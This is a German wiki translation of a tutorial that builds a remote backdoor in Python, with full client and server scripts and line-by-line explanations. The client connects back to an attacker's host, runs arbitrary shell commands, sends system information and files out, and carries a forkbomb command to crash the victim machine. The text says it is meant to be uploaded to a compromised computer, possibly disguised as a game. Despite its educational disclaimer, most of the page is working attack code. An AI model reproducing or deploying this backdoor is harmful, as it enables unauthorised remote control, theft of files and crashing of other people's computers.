Backdoor python

Aus xinux.net
Zur Navigation springen Zur Suche springen

Einleitung

Übersetzt aus dem englischen

Original Artikel ist hier

https://dev.to/tman540/simple-remote-backdoor-with-python-33a0


Einfacher Remote Backdoor mit Python

Hinweis: Bevor Sie mit dem Lesen dieses Tutorials beginnen: VERWENDEN SIE DIESEN CODE NICHT FÜR BÖSARTIGE ZWECKE. DIESES TUTORIAL IST NUR FÜR BILDUNGSZWECKE!

Teil 1

Was ist ein Backdoor?

Laut Wikipedia:

Eine Hintertür ist ein oft geheimes Verfahren zum Umgehen der normalen Authentifizierung oder Verschlüsselung in einem Computersystem, einem Produkt oder einem eingebetteten Gerät (z. B. einem Heimrouter) oder seiner Ausführungsform

Einfacher ausgedrückt ist eine Hintertür eine Software, die auf einem Computer installiert ist und jemandem Fernzugriff auf einen Computer ermöglicht, normalerweise ohne entsprechende Erlaubnis. Beispielsweise kann ein Hacker eine Hintertür verwenden, um den Remotezugriff auf einen gefährdeten Computer aufrechtzuerhalten. Ein Hacker könnte eine Hintertür in einem scheinbar normal aussehenden Spiel oder Programm verkleiden. Sobald der Benutzer des Zielcomputers das Programm ausführt, kann der Hacker über die in der Software versteckte Hintertür eine Remoteverbindung zum Zielcomputer herstellen, normalerweise über eine Befehlszeile. Über diese Remoteverbindung kann der Hacker Befehle ausführen, Dateien bearbeiten und lesen und vieles mehr.

Teil 2

So erstellen Sie eine benutzerdefinierte Backdor (Client)

Dieser Backdoor wird aus zwei kurzen Skripten bestehen. Das erste Skript, das wir erstellen werden, ist das Client-Skript. Dies ist das Skript, das auf den gefährdeten Computer hochgeladen wird.

import socket
import subprocess
import os
import platform
import getpass
import colorama
import sys 
 
from colorama import Fore, Style
from time import sleep

colorama.init()

RHOST = sys.argv[1]
RPORT = 2222

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((RHOST, RPORT))

while True:
    try:
        header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
        sock.send(header.encode())
        STDOUT, STDERR = None, None
        cmd = sock.recv(1024).decode("utf-8")

        # List files in the dir
        if cmd == "list":
            sock.send(str(os.listdir(".")).encode())

        # Forkbomb
        if cmd == "forkbomb":
            while True:
                os.fork()

        # Change directory
        elif cmd.split(" ")[0] == "cd":
            os.chdir(cmd.split(" ")[1])
            sock.send("Changed directory to {}".format(os.getcwd()).encode())

        # Get system info
        elif cmd == "sysinfo":
            sysinfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
            """
            sock.send(sysinfo.encode())

        # Download files
        elif cmd.split(" ")[0] == "download":
            with open(cmd.split(" ")[1], "rb") as f:
                file_data = f.read(1024)
                while file_data:
                    print("Sending", file_data)
                    sock.send(file_data)
                    file_data = f.read(1024)
                sleep(2)
                sock.send(b"DONE")
            print("Finished sending data")

        # Terminate the connection
        elif cmd == "exit":
            sock.send(b"exit")
            break

        # Run any other command
        else:
            comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            STDOUT, STDERR = comm.communicate()
            if not STDOUT:
                sock.send(STDERR)
            else:
                sock.send(STDOUT)

        # If the connection terminates
        if not cmd:
            print("Connection dropped")
            break
    except Exception as e:
        sock.send("An error has occured: {}".format(str(e)).encode())
sock.close()

Erläuterung

colorama.init()
RHOST = "127.0.0.1"
RPORT = 2222

Diese ersten Zeilen dienen zum Initialisieren einiger Starterwerte. colorama.init () muss für colorama (Farbtext im Terminal) aufgerufen werden. Die Variablen RHOST und RPORT dienen zum Herstellen einer Verbindung mit dem Hostcomputer. Diese Variablen müssen vor dem Hochladen auf den Zielcomputer geändert werden.

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((RHOST, RPORT))

Diese nächsten Zeilen sind Standardverfahren für die Verbindung mit einer IPV4-Adresse über einen TCP-Port.

 while True:
    try:
        header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
        sock.send(header.encode())
        STDOUT, STDERR = None, None
        cmd = sock.recv(1024).decode("utf-8")

Der gesamte Code zum Empfangen von Befehlen, zum Ausführen von Befehlen und zum Senden von Daten wird in eine while-Schleife eingeschlossen, sodass er für immer weitergeht. Das Try-Except ist also, wenn Befehle nicht ordnungsgemäß ausgeführt werden, wird das Programm fortgesetzt, anstatt die Verbindung zu trennen. Die Header-Variable definiert das Präfix, bevor ein Befehl gebunden wird. Beispiel: hacked @ linux-machine: / usr / hacked / Desktop $ In der nächsten Zeile wird der Header an den Server gesendet, sodass der Benutzer weiß, in welchem Verzeichnis er sich befindet und bei welchem Benutzer er angemeldet ist. STDOUT und STDERR müssen auf None gesetzt werden, damit Befehle nicht doppelt ausgeführt werden, wenn der Server leere Daten sendet. Die letzte Zeile empfängt den Befehl vom Server zur Ausführung.

  • Commands:
List files
 if cmd == "list":
   sock.send(str(os.listdir(".")).encode())

Dieser Befehl wird anstelle von ls verwendet, da ls manchmal inkonsistent ist

Forkbomb
 if cmd == "forkbomb":
    while True:
        os.fork()

Eine Forkbombe ist ein Angriff, wenn sich ein Prozess immer wieder selbst repliziert und alle Systemressourcen verbraucht werden, was normalerweise zum Absturz des Systems führt. Die while-Schleife dupliziert den Python-Prozess unendlich und führt zum Absturz des Computers.

cd
 elif cmd.split(" ")[0] == "cd":
    os.chdir(cmd.split(" ")[1])
    sock.send("Changed directory to {}".format(os.getcwd()).encode())

Dieser Befehl funktioniert besser als die in integrierte CD. Dies liegt daran, dass beim Ändern des Verzeichnisses das Python-Arbeitsverzeichnis nicht betroffen ist. Dieser Befehl verwendet os.chdir (), um das Arbeitsverzeichnis in Python und Linux zu ändern. Durch Aufteilen des Befehls kann das Argument (in diesem Fall das Verzeichnis, in das geändert werden soll) separat verarbeitet werden

sysinfo
       elif cmd == "sysinfo":
           sysinfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
            """
            sock.send(sysinfo.encode())

Der Befehl sysinfo verwendet eine Kombination aus dem Plattformmodul und dem getpass-Modul, um Informationen über das System abzurufen, z. B.: Das Betriebssystem, den Hostnamen des Computers, den aktuellen Benutzer, die aktuelle Betriebssystemversion und die Prozessorarchitektur. Dieser Text ist schön formatiert und wird an den Host-Server gesendet.

Download
 elif cmd.split(" ")[0] == "download":
    with open(cmd.split(" ")[1], "rb") as f:
       file_data = f.read(1024)
       while file_data:
           print("Sending", file_data)
           sock.send(file_data)
           file_data = f.read(1024)
       sleep(2)
       sock.send(b"DONE")
   print("Finished sending data")

Der Download-Befehl ist etwas komplizierter. Der Befehl wird erneut aufgeteilt, um das Argument zu extrahieren. Anstatt die Daten aus der Datei auf einmal zu senden, muss die Datei dieses Mal in 1024 Byte (1 KB) aufgeteilt werden, da der Server jeweils nur 1 Kilobyte empfangen kann. Sobald das Senden der Datei abgeschlossen ist, sendet der Client "FERTIG" (in Byte) an den Server, um den Server darüber zu informieren, dass die Dateiübertragung abgeschlossen ist.

Exit
 elif cmd == "exit":
    sock.send(b"exit")
    break

Beim Aufruf von exit wird der Text "exit" (in Bytes) an den Server gesendet. Dadurch wird der Server benachrichtigt, die Verbindung zu beenden. Break verlässt die while True-Schleife und beendet das Programm.

Any other command
 else:
   comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
   STDOUT, STDERR = comm.communicate()
   if not STDOUT:
       sock.send(STDERR)
   else:
       sock.send(STDOUT)

Wenn der eingegebene Befehl kein bekannter interner Befehl ist, wird er stattdessen über das System ausgeführt. Das Unterprozessmodul wird verwendet, um den Befehl über die Systemshell auszuführen. Die Ausgabe wird an zwei Variablen zurückgegeben, STDOUT und STDERR. STDOUT ist die Standardsystemausgabe. STDERR ist die Standardfehlerausgabe. Die nächste if-Anweisung prüft, ob die Ausgabe an STDOUT oder STDERR ging. Es sendet die entsprechenden Daten, sobald es überprüft wurde.

 if not cmd:
        print("Connection dropped")
        break
   except Exception as e:
        sock.send("An error has occured: {}".format(str(e)).encode())
 sock.close()

Wenn kein Befehl empfangen wird, kann das Programm davon ausgehen, dass ein Fehler in der Verbindung aufgetreten ist, und die Schleife beenden. Da der gesamte Code in eine Try-Except-Funktion eingeschlossen ist, sendet das Programm die Ausnahme an den Server. Sobald die Schleife endet, wird die Buchse geschlossen.

Part 3

So erstellen Sie eine benutzerdefinierte Hintertür (Server)

Das zweite Skript ist das Serverskript. Dieses Skript wird auf dem Computer des Angreifers ausgeführt. Dies ist das Skript, mit dem die Clients eine Verbindung herstellen, auch eine Shell senden und der Angreifer Befehle über sendet.

Script
import socket
import colorama

colorama.init()

LHOST = "0.0.0.0"
LPORT = 2222

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((LHOST, LPORT))
sock.listen(1)
print("Listening on port", LPORT)
client, addr = sock.accept()

while True:
    input_header = client.recv(1024)
    command = input(input_header.decode()).encode()

    if command.decode("utf-8").split(" ")[0] == "download":
        file_name = command.decode("utf-8").split(" ")[1][::-1]
        client.send(command)
        with open(file_name, "wb") as f:
            read_data = client.recv(1024)
            while read_data:
                f.write(read_data)
                read_data = client.recv(1024)
                if read_data == b"DONE":
                    break

    if command is b"":
        print("Please enter a command")
    else:
        client.send(command)
        data = client.recv(1024).decode("utf-8")
        if data == "exit":
            print("Terminating connection", addr[0])
            break
        print(data)
client.close()
sock.close()

Erläuterung

colorama.init()

LHOST = "0.0.0.0"
LPORT = 2222

Diese ersten Zeilen dienen zur Initialisierung. Der LHOST ist die IP, auf der der Server gehostet wird. Der LPORT ist der Port, an dem der Server gehostet wird. sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)

sock.bind((LHOST, LPORT))
sock.listen(1)
print("Listening on port", LPORT)
client, addr = sock.accept()

Die Zeilen 9-13 dienen zum Initialisieren des Servers. Wiederum soll socket.AF_INET einen Server unter einer IPV4-Adresse starten und socket.SOCK_STREAM den Server auf einem TCP-Port ausführen. sock.bind ((LHOST, LPORT)) startet einen Server mit der angegebenen IP und dem angegebenen Port. sock.listen (1) weist das Programm an, nur eine eingehende Verbindung zu akzeptieren. Der Client ist ein Objekt, mit dem das Programm mit dem verbundenen Client interagieren kann, z. B. Daten senden kann. Die Adresse ist ein Tupel, das die IP und den Port des verbundenen Clients enthält.

while True:
    input_header = client.recv(1024)
    command = input(input_header.decode()).encode()

Genau wie beim Client wird der gesamte Code in eine while True: -Schleife eingeschlossen, sodass die Befehle ständig gesendet und ausgeführt werden können, bis die Schleife unterbrochen wird. Der input_header ist der Text vor der Eingabe. Beispiel: gehackt @ Linux-Maschine: /usr/gehackt/Desktop$. Diese Daten werden vom Client empfangen und als Argument für die Eingabefunktion eingegeben. Der Benutzer wird aufgefordert, einen Befehl einzugeben. Dieser wird in Bytes codiert und in der Befehlsvariablen gespeichert.

   if command.decode("utf-8").split(" ")[0] == "download":
       file_name = command.decode("utf-8").split(" ")[1][::-1]
       client.send(command)
       with open(file_name, "wb") as f:
           read_data = client.recv(1024)
           while read_data:
               f.write(read_data)
               read_data = client.recv(1024)
               if read_data == b"DONE":
                   break
       print("Finished reading data")


In den Server ist nur ein vordefinierter Befehl integriert. herunterladen. Wenn der Download ausgeführt wird, wird eine neue Datei mit dem Namen der herunterzuladenden Datei geöffnet. Als nächstes liest die Funktion jeweils 1 KB und schreibt diese Daten in die Datei. Wenn der Server die Daten "DONE" (in Bytes) empfängt, stoppt die Schleife zum Empfangen von Daten.

   if command is b"":
       print("Please enter a command")

Wenn kein Befehl eingegeben wird, wird der Benutzer daran erinnert, dass Daten eingegeben werden müssen.

   else:
       client.send(command)
       data = client.recv(1024).decode("utf-8")
       if data == "exit":
           print("Terminating connection", addr[0])
           break
       print(data)

Wenn keine der anderen Bedingungen erfüllt ist, sendet das Skript den Befehl zur Ausführung an den Client. Die Datenvariable empfängt die Ausgabe vom Befehl (vom Client gesendet). Wenn die empfangenen Daten "exit" sind, beendet der Server die Verbindung und unterbricht die Schleife, die das Skript beendet. Sobald die Schleife unterbrochen ist, wird die Verbindung zum Client und zum Server-Socket geschlossen.

Part 4

Schlusswort

Denken Sie daran, dass das Betreten eines Computers ohne Erlaubnis illegal ist. Dieses Skript wurde erstellt, weil ich daran interessiert bin, wie diese Arten von Technologien funktionieren. Verwenden Sie dieses Programm nicht aus illegalen Gründen. Dieses Programm ist auch eine sehr einfache Hintertür und nicht 100% stabil oder vollständig.

Sources

  • Cover image: The Daily Dot
  • Backdoor definition: Wikipedia